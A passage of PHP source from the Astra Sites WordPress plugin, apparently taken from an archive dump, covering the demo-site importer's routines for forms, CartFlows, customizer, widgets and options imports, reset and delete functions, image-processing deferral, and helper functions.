phpcs:ignore WordPress.Security.NonceVerification.Recommended -- This is a callback filter while performing plugin install action - https://developer.wordpress.org/reference/hooks/upgrader_package_options/, We don't quite have access to the nonce here. We are skipping it here. $options['clear_destination'] = true; } return $options; } /** * Restrict WooCommerce Pages Creation process * * Why? WooCommerce creates set of pages on it's activation * These pages are re created via our XML import step. * In order to avoid the duplicacy we restrict these page creation process. * * @since 3.0.0 */ public function disable_default_woo_pages_creation() { if ( astra_sites_has_import_started() ) { add_filter( 'woocommerce_create_pages', '__return_empty_array' ); } } /** * Set the timeout for the HTTP request by request URL. * * E.g. If URL is images (jpg|png|gif|jpeg) are from the domain `https://websitedemos.net` then we have set the timeout by 30 seconds. Default 5 seconds. * * @since 1.3.8 * * @param int $timeout_value Time in seconds until a request times out. Default 5. * @param string $url The request URL. */ public function set_timeout_for_images( $timeout_value, $url ) { // URL not contain `https://websitedemos.net` then return $timeout_value. if ( strpos( $url, 'https://websitedemos.net' ) === false ) { return $timeout_value; } // Check is image URL of type jpg|png|gif|jpeg. if ( astra_sites_is_valid_image( $url ) ) { $timeout_value = 300; } return $timeout_value; } /** * Load WordPress WXR importer. */ public function load_importer() { require_once ASTRA_SITES_DIR . 'inc/importers/wxr-importer/class-astra-wxr-importer.php'; } /** * Change flow status * * @since 2.0.0 * * @param array $args Flow query args. * @return array Flow query args. */ public function change_flow_status( $args ) { $args['post_status'] = 'publish'; return $args; } /** * Track Flow * * @since 2.0.0 * * @param integer $flow_id Flow ID. * @return void */ public function track_flows( $flow_id ) { Astra_Sites_Importer_Log::add( 'Flow ID ' . $flow_id ); Astra_WXR_Importer::instance()->track_post( $flow_id ); } /** * Import WP Forms * * @since 1.2.14 * @since 1.4.0 The `$wpforms_url` was added. * * @param string $wpforms_url WP Forms JSON file URL. * @return void */ public function import_wpforms( $wpforms_url = '' ) { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $screen = ( isset( $_REQUEST['screen'] ) ) ? sanitize_text_field( $_REQUEST['screen'] ) : ''; $id = ( isset( $_REQUEST['id'] ) ) ? absint( $_REQUEST['id'] ) : ''; $wpforms_url = ( 'elementor' === $screen ) ? astra_sites_get_wp_forms_url( $id ) : astra_get_site_data( 'astra-site-wpforms-path' ); $ids_mapping = array(); if ( ! astra_sites_is_valid_url( $wpforms_url ) ) { /* Translators: %s is WP Forms URL. */ wp_send_json_error( sprintf( __( 'Invalid Request URL - %s', 'astra-sites' ), $wpforms_url ) ); } if ( ! empty( $wpforms_url ) && function_exists( 'wpforms_encode' ) ) { // Download JSON file. $file_path = Astra_Sites_Helper::download_file( $wpforms_url ); if ( $file_path['success'] ) { if ( isset( $file_path['data']['file'] ) ) { $ext = strtolower( pathinfo( $file_path['data']['file'], PATHINFO_EXTENSION ) ); if ( 'json' === $ext ) { $forms = json_decode( Astra_Sites::get_instance()->get_filesystem()->get_contents( $file_path['data']['file'] ), true ); if ( ! empty( $forms ) ) { foreach ( $forms as $form ) { $title = ! empty( $form['settings']['form_title'] ) ? $form['settings']['form_title'] : ''; $desc = ! empty( $form['settings']['form_desc'] ) ? $form['settings']['form_desc'] : ''; $new_id = post_exists( $title ); if ( ! $new_id ) { $new_id = wp_insert_post( array( 'post_title' => $title, 'post_status' => 'publish', 'post_type' => 'wpforms', 'post_excerpt' => $desc, ) ); if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Imported Form ' . $title ); } // Set meta for tracking the post. update_post_meta( $new_id, '_astra_sites_imported_wp_forms', true ); Astra_Sites_Importer_Log::add( 'Inserted WP Form ' . $new_id ); } if ( $new_id ) { // ID mapping. $ids_mapping[ $form['id'] ] = $new_id; $form['id'] = $new_id; wp_update_post( array( 'ID' => $new_id, 'post_content' => wpforms_encode( $form ), ) ); } } } } else { wp_send_json_error( __( 'Invalid JSON file for WP Forms.', 'astra-sites' ) ); } } else { wp_send_json_error( __( 'There was an error downloading the WP Forms file.', 'astra-sites' ) ); } } else { wp_send_json_error( __( 'There was an error downloading the WP Forms file.', 'astra-sites' ) ); } } update_option( 'astra_sites_wpforms_ids_mapping', $ids_mapping, 'no' ); if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'WP Forms Imported.' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $ids_mapping ); } } /** * Import CartFlows * * @since 2.0.0 * * @param string $url Cartflows JSON file URL. * @return void */ public function import_cartflows( $url = '' ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } // Disable CartFlows import logging. add_filter( 'cartflows_enable_log', '__return_false' ); // Make the flow publish. add_action( 'cartflows_flow_importer_args', array( $this, 'change_flow_status' ) ); add_action( 'cartflows_flow_imported', array( $this, 'track_flows' ) ); add_action( 'cartflows_step_imported', array( $this, 'track_flows' ) ); add_filter( 'cartflows_enable_imported_content_processing', '__return_false' ); $url = astra_get_site_data( 'astra-site-cartflows-path' ); if ( ! empty( $url ) && is_callable( 'CartFlows_Importer::get_instance' ) ) { // Download JSON file. $file_path = Astra_Sites_Helper::download_file( $url ); if ( $file_path['success'] ) { if ( isset( $file_path['data']['file'] ) ) { $ext = strtolower( pathinfo( $file_path['data']['file'], PATHINFO_EXTENSION ) ); if ( 'json' === $ext ) { $flows = json_decode( Astra_Sites::get_instance()->get_filesystem()->get_contents( $file_path['data']['file'] ), true ); if ( ! empty( $flows ) ) { CartFlows_Importer::get_instance()->import_from_json_data( $flows ); } } else { wp_send_json_error( __( 'Invalid file for CartFlows flows', 'astra-sites' ) ); } } else { wp_send_json_error( __( 'There was an error downloading the CartFlows flows file.', 'astra-sites' ) ); } } else { wp_send_json_error( __( 'There was an error downloading the CartFlows flows file.', 'astra-sites' ) ); } } else { wp_send_json_error( __( 'Empty file for CartFlows flows', 'astra-sites' ) ); } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Imported from ' . $url ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $url ); } } /** * Import Spectra Settings * * @since 3.1.16 * * @param string $url Spectra Settings JSON file URL. * @return void */ public function import_spectra_settings( $url = '' ) { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $url = astra_get_site_data( 'astra-site-spectra-settings' ); if ( ! astra_sites_is_valid_url( $url ) ) { /* Translators: %s is XML URL. */ wp_send_json_error( sprintf( __( 'Invalid Request URL - %s', 'astra-sites' ), $url ) ); } if ( ! empty( $url ) && is_callable( 'UAGB_Admin_Helper::get_instance' ) ) { // Download JSON file. $file_path = Astra_Sites_Helper::download_file( $url ); if ( $file_path['success'] ) { if ( isset( $file_path['data']['file'] ) ) { $ext = strtolower( pathinfo( $file_path['data']['file'], PATHINFO_EXTENSION ) ); if ( 'json' === $ext ) { $settings = json_decode( Astra_Sites::get_instance()->get_filesystem()->get_contents( $file_path['data']['file'] ), true ); if ( ! empty( $settings ) ) { UAGB_Admin_Helper::get_instance()->update_admin_settings_shareable_data( $settings ); } } else { wp_send_json_error( __( 'Invalid file for Spectra Settings', 'astra-sites' ) ); } } else { wp_send_json_error( __( 'There was an error downloading the Spectra Settings file.', 'astra-sites' ) ); } } else { wp_send_json_error( __( 'There was an error downloading the Spectra Settings file.', 'astra-sites' ) ); } } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Imported Spectra settings from ' . $url ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $url ); } } /** * Import Customizer Settings. * * @since 1.0.14 * @since 1.4.0 The `$customizer_data` was added. * * @param array $customizer_data Customizer Data. * @return void */ public function import_customizer_settings( $customizer_data = array() ) { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $customizer_data = astra_get_site_data( 'astra-site-customizer-data' ); if ( ! empty( $customizer_data ) ) { Astra_Sites_Importer_Log::add( 'Imported Customizer Settings ' . wp_json_encode( $customizer_data ) ); // Set meta for tracking the post. Astra_Sites_Importer_Log::add( 'Customizer Data ' . wp_json_encode( $customizer_data ) ); update_option( '_astra_sites_old_customizer_data', $customizer_data, 'no' ); Astra_Customizer_Import::instance()->import( $customizer_data ); if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Imported Customizer Settings!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $customizer_data ); } } else { if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Customizer data is empty!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_error( __( 'Customizer data is empty!', 'astra-sites' ) ); } } } /** * Prepare XML Data. * * @since 1.1.0 * @return void */ public function prepare_xml_data() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } if ( ! class_exists( 'XMLReader' ) ) { wp_send_json_error( __( 'The XMLReader library is not available. This library is required to import the content for the website.', 'astra-sites' ) ); } $wxr_url = astra_get_site_data( 'astra-site-wxr-path' ); if ( ! astra_sites_is_valid_url( $wxr_url ) ) { /* Translators: %s is XML URL. */ wp_send_json_error( sprintf( __( 'Invalid Request URL - %s', 'astra-sites' ), $wxr_url ) ); } Astra_Sites_Importer_Log::add( 'Importing from XML ' . $wxr_url ); $overrides = array( 'wp_handle_sideload' => 'upload', ); // Download XML file. $xml_path = Astra_Sites_Helper::download_file( $wxr_url, $overrides ); if ( $xml_path['success'] ) { $post = array( 'post_title' => basename( $wxr_url ), 'guid' => $xml_path['data']['url'], 'post_mime_type' => $xml_path['data']['type'], ); Astra_Sites_Importer_Log::add( wp_json_encode( $post ) ); Astra_Sites_Importer_Log::add( wp_json_encode( $xml_path ) ); // as per wp-admin/includes/upload.php. $post_id = wp_insert_attachment( $post, $xml_path['data']['file'] ); Astra_Sites_Importer_Log::add( wp_json_encode( $post_id ) ); if ( is_wp_error( $post_id ) ) { wp_send_json_error( __( 'There was an error downloading the XML file.', 'astra-sites' ) ); } else { update_option( 'astra_sites_imported_wxr_id', $post_id, 'no' ); $attachment_metadata = wp_generate_attachment_metadata( $post_id, $xml_path['data']['file'] ); wp_update_attachment_metadata( $post_id, $attachment_metadata ); $data = Astra_WXR_Importer::instance()->get_xml_data( $xml_path['data']['file'], $post_id ); $data['xml'] = $xml_path['data']; wp_send_json_success( $data ); } } else { wp_send_json_error( $xml_path['data'] ); } } /** * Import Options. * * @since 1.0.14 * @since 1.4.0 The `$options_data` was added. * * @param array $options_data Site Options. * @return void */ public function import_options( $options_data = array() ) { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $options_data = astra_get_site_data( 'astra-site-options-data' ); if ( ! empty( $options_data ) ) { // Set meta for tracking the post. if ( is_array( $options_data ) ) { Astra_Sites_Importer_Log::add( 'Imported - Site Options ' . wp_json_encode( $options_data ) ); update_option( '_astra_sites_old_site_options', $options_data, 'no' ); } $options_importer = Astra_Site_Options_Import::instance(); $options_importer->import_options( $options_data ); if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Imported Site Options!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $options_data ); } } else { if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Site options are empty!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_error( __( 'Site options are empty!', 'astra-sites' ) ); } } } /** * Import Widgets. * * @since 1.0.14 * @since 1.4.0 The `$widgets_data` was added. * * @param string $widgets_data Widgets Data. * @return void */ public function import_widgets( $widgets_data = '' ) { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $data = astra_get_site_data( 'astra-site-widgets-data' ); $widgets_data = ( isset( $data ) ) ? (object) json_decode( $data ) : (object) $widgets_data; if ( ! empty( $widgets_data ) ) { Astra_Widget_Importer::instance()->import_widgets_data( $widgets_data ); $sidebars_widgets = get_option( 'sidebars_widgets', array() ); update_option( '_astra_sites_old_widgets_data', $sidebars_widgets, 'no' ); Astra_Sites_Importer_Log::add( 'Imported - Widgets ' . wp_json_encode( $sidebars_widgets ) ); if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Widget Imported!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $widgets_data ); } } else { if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Widget data is empty!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_error( __( 'Widget data is empty!', 'astra-sites' ) ); } } } /** * Import End. * * @since 1.0.14 * @return void */ public function import_end() { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $demo_data = get_option( 'astra_sites_import_data', array() ); do_action( 'astra_sites_import_complete', $demo_data ); update_option( 'astra_sites_import_complete', 'yes', 'no' ); delete_transient( 'astra_sites_import_started' ); if ( wp_doing_ajax() ) { wp_send_json_success(); } } /** * Get single demo. * * @since 1.0.0 * * @param (String) $demo_api_uri API URL of a demo. * * @return (Array) $astra_demo_data demo data for the demo. */ public static function get_single_demo( $demo_api_uri ) { if ( is_int( $demo_api_uri ) ) { $demo_api_uri = Astra_Sites::get_instance()->get_api_url() . 'astra-sites/' . $demo_api_uri; } // default values. $remote_args = array(); $defaults = array( 'id' => '', 'astra-site-widgets-data' => '', 'astra-site-customizer-data' => '', 'astra-site-options-data' => '', 'astra-post-data-mapping' => '', 'astra-site-wxr-path' => '', 'astra-site-wpforms-path' => '', 'astra-enabled-extensions' => '', 'astra-custom-404' => '', 'required-plugins' => '', 'astra-site-taxonomy-mapping' => '', 'license-status' => '', 'site-type' => '', 'astra-site-url' => '', ); $api_args = apply_filters( 'astra_sites_api_args', array( 'timeout' => 15, ) ); // Use this for premium demos. $request_params = apply_filters( 'astra_sites_api_params', array( 'purchase_key' => '', 'site_url' => '', ) ); $demo_api_uri = add_query_arg( $request_params, trailingslashit( $demo_api_uri ) ); // API Call. $response = wp_remote_get( $demo_api_uri, $api_args ); if ( is_wp_error( $response ) || ( isset( $response->status ) && 0 === $response->status ) ) { if ( isset( $response->status ) ) { $data = json_decode( $response, true ); } else { return new WP_Error( 'api_invalid_response_code', $response->get_error_message() ); } } if ( wp_remote_retrieve_response_code( $response ) !== 200 ) { return new WP_Error( 'api_invalid_response_code', wp_remote_retrieve_body( $response ) ); } else { $data = json_decode( wp_remote_retrieve_body( $response ), true ); } $data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! isset( $data['code'] ) ) { $remote_args['id'] = $data['id']; $remote_args['astra-site-widgets-data'] = json_decode( $data['astra-site-widgets-data'] ); $remote_args['astra-site-customizer-data'] = $data['astra-site-customizer-data']; $remote_args['astra-site-options-data'] = $data['astra-site-options-data']; $remote_args['astra-post-data-mapping'] = $data['astra-post-data-mapping']; $remote_args['astra-site-wxr-path'] = $data['astra-site-wxr-path']; $remote_args['astra-site-wpforms-path'] = $data['astra-site-wpforms-path']; $remote_args['astra-enabled-extensions'] = $data['astra-enabled-extensions']; $remote_args['astra-custom-404'] = $data['astra-custom-404']; $remote_args['required-plugins'] = $data['required-plugins']; $remote_args['astra-site-taxonomy-mapping'] = $data['astra-site-taxonomy-mapping']; $remote_args['license-status'] = $data['license-status']; $remote_args['site-type'] = $data['astra-site-type']; $remote_args['astra-site-url'] = $data['astra-site-url']; } // Merge remote demo and defaults. return wp_parse_args( $remote_args, $defaults ); } /** * Set a flag that indicates the import process has started. */ public function set_start_flag() { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } do_action( 'st_before_start_import_process' ); set_transient( 'astra_sites_import_started', 'yes', HOUR_IN_SECONDS ); wp_send_json_success(); } /** * Clear Cache. * * @since 1.0.9 */ public function clear_related_cache() { // Clear 'Builder Builder' cache. if ( is_callable( 'FLBuilderModel::delete_asset_cache_for_all_posts' ) ) { FLBuilderModel::delete_asset_cache_for_all_posts(); Astra_Sites_Importer_Log::add( 'Cache for Beaver Builder cleared.' ); } // Clear 'Astra Addon' cache. if ( is_callable( 'Astra_Minify::refresh_assets' ) ) { Astra_Minify::refresh_assets(); Astra_Sites_Importer_Log::add( 'Cache for Astra Addon cleared.' ); } $this->update_latest_checksums(); // Flush permalinks. flush_rewrite_rules(); //phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.flush_rewrite_rules_flush_rewrite_rules -- This function is called only after import is completed } /** * Update Latest Checksums * * Store latest checksum after batch complete. * * @since 2.0.0 * @return void */ public function update_latest_checksums() { $latest_checksums = get_site_option( 'astra-sites-last-export-checksums-latest', '' ); update_site_option( 'astra-sites-last-export-checksums', $latest_checksums, 'no' ); } /** * Reset customizer data * * @since 1.3.0 * @return void */ public function reset_customizer_data() { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } Astra_Sites_Importer_Log::add( 'Deleted customizer Settings ' . wp_json_encode( get_option( 'astra-settings', array() ) ) ); delete_option( 'astra-settings' ); if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Deleted Customizer Settings!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success(); } } /** * Reset site options * * @since 1.3.0 * @return void */ public function reset_site_options() { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $options = get_option( '_astra_sites_old_site_options', array() ); Astra_Sites_Importer_Log::add( 'Deleted - Site Options ' . wp_json_encode( $options ) ); if ( $options ) { foreach ( $options as $option_key => $option_value ) { delete_option( $option_key ); } } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Deleted Site Options!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success(); } } /** * Reset widgets data * * @since 1.3.0 * @return void */ public function reset_widgets_data() { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } // Get all old widget ids. $old_widgets_data = (array) get_option( '_astra_sites_old_widgets_data', array() ); $old_widget_ids = array(); foreach ( $old_widgets_data as $old_sidebar_key => $old_widgets ) { if ( ! empty( $old_widgets ) && is_array( $old_widgets ) ) { $old_widget_ids = array_merge( $old_widget_ids, $old_widgets ); } } // Process if not empty. $sidebars_widgets = get_option( 'sidebars_widgets', array() ); if ( ! empty( $old_widget_ids ) && ! empty( $sidebars_widgets ) ) { Astra_Sites_Importer_Log::add( 'DELETED - WIDGETS ' . wp_json_encode( $old_widget_ids ) ); foreach ( $sidebars_widgets as $sidebar_id => $widgets ) { $widgets = (array) $widgets; if ( ! empty( $widgets ) && is_array( $widgets ) ) { foreach ( $widgets as $widget_id ) { if ( in_array( $widget_id, $old_widget_ids, true ) ) { Astra_Sites_Importer_Log::add( 'DELETED - WIDGET ' . $widget_id ); // Move old widget to inacitve list. $sidebars_widgets['wp_inactive_widgets'][] = $widget_id; // Remove old widget from sidebar. $sidebars_widgets[ $sidebar_id ] = array_diff( $sidebars_widgets[ $sidebar_id ], array( $widget_id ) ); } } } } update_option( 'sidebars_widgets', $sidebars_widgets ); } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Deleted Widgets!' ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( __( 'Deleted Widgets!', 'astra-sites' ) ); } } /** * Delete imported posts * * @since 1.3.0 * @since 1.4.0 The `$post_id` was added. * Note: This function can be deleted after a few releases since we are performing the delete operation in chunks. * * @param integer $post_id Post ID. * @return void */ public function delete_imported_posts( $post_id = 0 ) { if ( wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $post_id = isset( $_REQUEST['post_id'] ) ? absint( $_REQUEST['post_id'] ) : $post_id; $message = 'Deleted - Post ID ' . $post_id . ' - ' . get_post_type( $post_id ) . ' - ' . get_the_title( $post_id ); $message = ''; if ( $post_id ) { $post_type = get_post_type( $post_id ); $message = 'Deleted - Post ID ' . $post_id . ' - ' . $post_type . ' - ' . get_the_title( $post_id ); do_action( 'astra_sites_before_delete_imported_posts', $post_id, $post_type ); Astra_Sites_Importer_Log::add( $message ); wp_delete_post( $post_id, true ); } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( $message ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $message ); } } /** * Delete imported WP forms * * @since 1.3.0 * @since 1.4.0 The `$post_id` was added. * Note: This function can be deleted after a few releases since we are performing the delete operation in chunks. * * @param integer $post_id Post ID. * @return void */ public function delete_imported_wp_forms( $post_id = 0 ) { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $post_id = isset( $_REQUEST['post_id'] ) ? absint( $_REQUEST['post_id'] ) : $post_id; $message = ''; if ( $post_id ) { do_action( 'astra_sites_before_delete_imported_wp_forms', $post_id ); $message = 'Deleted - Form ID ' . $post_id . ' - ' . get_post_type( $post_id ) . ' - ' . get_the_title( $post_id ); Astra_Sites_Importer_Log::add( $message ); wp_delete_post( $post_id, true ); } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( $message ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $message ); } } /** * Delete imported terms * * @since 1.3.0 * @since 1.4.0 The `$post_id` was added. * Note: This function can be deleted after a few releases since we are performing the delete operation in chunks. * * @param integer $term_id Term ID. * @return void */ public function delete_imported_terms( $term_id = 0 ) { if ( ! defined( 'WP_CLI' ) && wp_doing_ajax() ) { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } } $term_id = isset( $_REQUEST['term_id'] ) ? absint( $_REQUEST['term_id'] ) : $term_id; $message = ''; if ( $term_id ) { $term = get_term( $term_id ); if ( ! is_wp_error( $term ) && ! empty( $term ) && is_object( $term ) ) { do_action( 'astra_sites_before_delete_imported_terms', $term_id, $term ); $message = 'Deleted - Term ' . $term_id . ' - ' . $term->name . ' ' . $term->taxonomy; Astra_Sites_Importer_Log::add( $message ); wp_delete_term( $term_id, $term->taxonomy ); } } if ( defined( 'WP_CLI' ) ) { WP_CLI::line( $message ); } elseif ( wp_doing_ajax() ) { wp_send_json_success( $message ); } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Importer::get_instance(); } class-astra-sites-image-processing.php 0000666 00000003766 15165314160 0014073 0 ustar 00 <?php /** * Astra Sites Image Processing * * @since 3.0.20 * @package Astra Sites */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Astra Sites Importer */ class Astra_Sites_Image_Processing { /** * Instance * * @since 3.0.20 * @var (Object) Class object */ public static $instance = null; /** * Set Instance * * @since 3.0.20 * * @return object Class object. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. * * @since 3.0.20 */ public function __construct() { add_action( 'init', array( $this, 'defer_image_processing_while_import' ) ); } /** * Add filters to defer image subsizes processing while importing. */ public function defer_image_processing_while_import() { if ( astra_sites_has_import_started() ) { $this->defer_image_subsizes(); } } /** * Defer image subsizes. * * @return void */ public function defer_image_subsizes() { add_filter( 'intermediate_image_sizes_advanced', array( $this, 'buffer_images_for_processing' ), 10, 3 ); } /** * Force attachment size geenration in the background. * * @param array $new_sizes Array of image sizes. * @param array $image_meta Metadata of the image. * @param integer $attachment_id Attachment id. * * @return array */ public function buffer_images_for_processing( $new_sizes, $image_meta, $attachment_id ) { $all_attachments = get_option( 'st_attachments', array() ); // If the cron job is already scheduled, bail. if ( in_array( $attachment_id, $all_attachments, true ) ) { return $new_sizes; } $all_attachments[] = $attachment_id; update_option( 'st_attachments', $all_attachments, 'no' ); // Return blank array of sizes to not generate any sizes in this request. return array(); } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Image_Processing::get_instance(); functions.php 0000666 00000013245 15165314160 0007300 0 ustar 00 <?php /** * Functions * * @since 2.0.0 * @package Astra Sites */ if ( ! function_exists( 'astra_sites_error_log' ) ) : /** * Error Log * * A wrapper function for the error_log() function. * * @since 2.0.0 * * @param mixed $message Error message. * @return void */ function astra_sites_error_log( $message = '' ) { if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) { if ( is_array( $message ) ) { $message = wp_json_encode( $message ); } if ( apply_filters( 'astra_sites_debug_logs', false ) ) { error_log( $message ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- This is for the debug logs while importing. This is conditional and will not be logged in the debug.log file for normal users. } } } endif; if ( ! function_exists( 'astra_sites_get_suggestion_link' ) ) : /** * * Get suggestion link. * * @since 2.6.1 * * @return suggestion link. */ function astra_sites_get_suggestion_link() { $white_label_link = Astra_Sites_White_Label::get_option( 'astra-agency', 'licence' ); if ( empty( $white_label_link ) ) { $white_label_link = 'https://wpastra.com/sites-suggestions/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=suggestions'; } return apply_filters( 'astra_sites_suggestion_link', $white_label_link ); } endif; if ( ! function_exists( 'astra_sites_is_valid_image' ) ) : /** * Check for the valid image * * @param string $link The Image link. * * @since 2.6.2 * @return boolean */ function astra_sites_is_valid_image( $link = '' ) { return preg_match( '/^((https?:\/\/)|(www\.))([a-z0-9-].?)+(:[0-9]+)?\/[\w\-\@]+\.(jpg|png|gif|jpeg|svg)\/?$/i', $link ); } endif; if ( ! function_exists( 'astra_get_site_data' ) ) : /** * Returns the value of the index for the Site Data * * @param string $index The index value of the data. * * @since 2.6.14 * @return mixed */ function astra_get_site_data( $index = '' ) { $demo_data = get_option( 'astra_sites_import_data', array() ); if ( ! empty( $demo_data ) && isset( $demo_data[ $index ] ) ) { return $demo_data[ $index ]; } return ''; } endif; /** * Check is valid URL * * @param string $url The site URL. * * @since 2.7.1 * @return string */ function astra_sites_is_valid_url( $url = '' ) { if ( empty( $url ) ) { return false; } $parse_url = wp_parse_url( $url ); if ( empty( $parse_url ) || ! is_array( $parse_url ) ) { return false; } $valid_hosts = array( 'lh3.googleusercontent.com', 'pixabay.com', ); $api_domain_parse_url = wp_parse_url( Astra_Sites::get_instance()->get_api_domain() ); $valid_hosts[] = $api_domain_parse_url['host']; // Validate host. if ( in_array( $parse_url['host'], $valid_hosts, true ) ) { return true; } return false; } /** * Get all the posts to be reset. * * @since 3.0.3 * @return array */ function astra_sites_get_reset_post_data() { global $wpdb; $post_ids = $wpdb->get_col( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_astra_sites_imported_post'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need this to get all the posts and pages. Traditional WP_Query would have been expensive here. return $post_ids; } /** * Get all the forms to be reset. * * @since 3.0.3 * @return array */ function astra_sites_get_reset_form_data() { global $wpdb; $form_ids = $wpdb->get_col( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_astra_sites_imported_wp_forms'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need this to get all the WP forms. Traditional WP_Query would have been expensive here. return $form_ids; } /** * Get all the terms to be reset. * * @since 3.0.3 * @return array */ function astra_sites_get_reset_term_data() { global $wpdb; $term_ids = $wpdb->get_col( "SELECT term_id FROM {$wpdb->termmeta} WHERE meta_key='_astra_sites_imported_term'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need this to get all the terms and taxonomy. Traditional WP_Query would have been expensive here. return $term_ids; } /** * Get API params * * @since 2.7.3 * @return array */ function astra_sites_get_api_params() { return apply_filters( 'astra_sites_api_params', array( 'purchase_key' => '', 'site_url' => get_site_url(), 'per-page' => 15, 'template_status' => '', 'version' => ASTRA_SITES_VER, ) ); } /** * Check if Import for Astra Site is in progress * * @since 3.0.21 * @return array */ function astra_sites_has_import_started() { $has_import_started = get_transient( 'astra_sites_import_started' ); if ( 'yes' === $has_import_started ) { return true; } return false; } /** * Remove the post excerpt * * @param int $post_id The post ID. * @since 3.1.0 */ function 